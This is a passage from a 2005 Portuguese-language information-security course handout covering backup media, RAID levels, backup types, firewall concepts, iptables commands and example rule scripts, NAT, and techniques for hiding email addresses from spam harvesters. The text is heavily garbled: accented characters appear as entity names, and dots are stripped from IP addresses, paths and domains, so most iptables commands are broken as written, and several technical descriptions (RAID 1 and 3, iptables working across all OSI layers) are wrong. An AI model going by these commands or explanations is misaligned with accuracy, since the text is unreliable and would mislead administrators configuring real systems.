Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

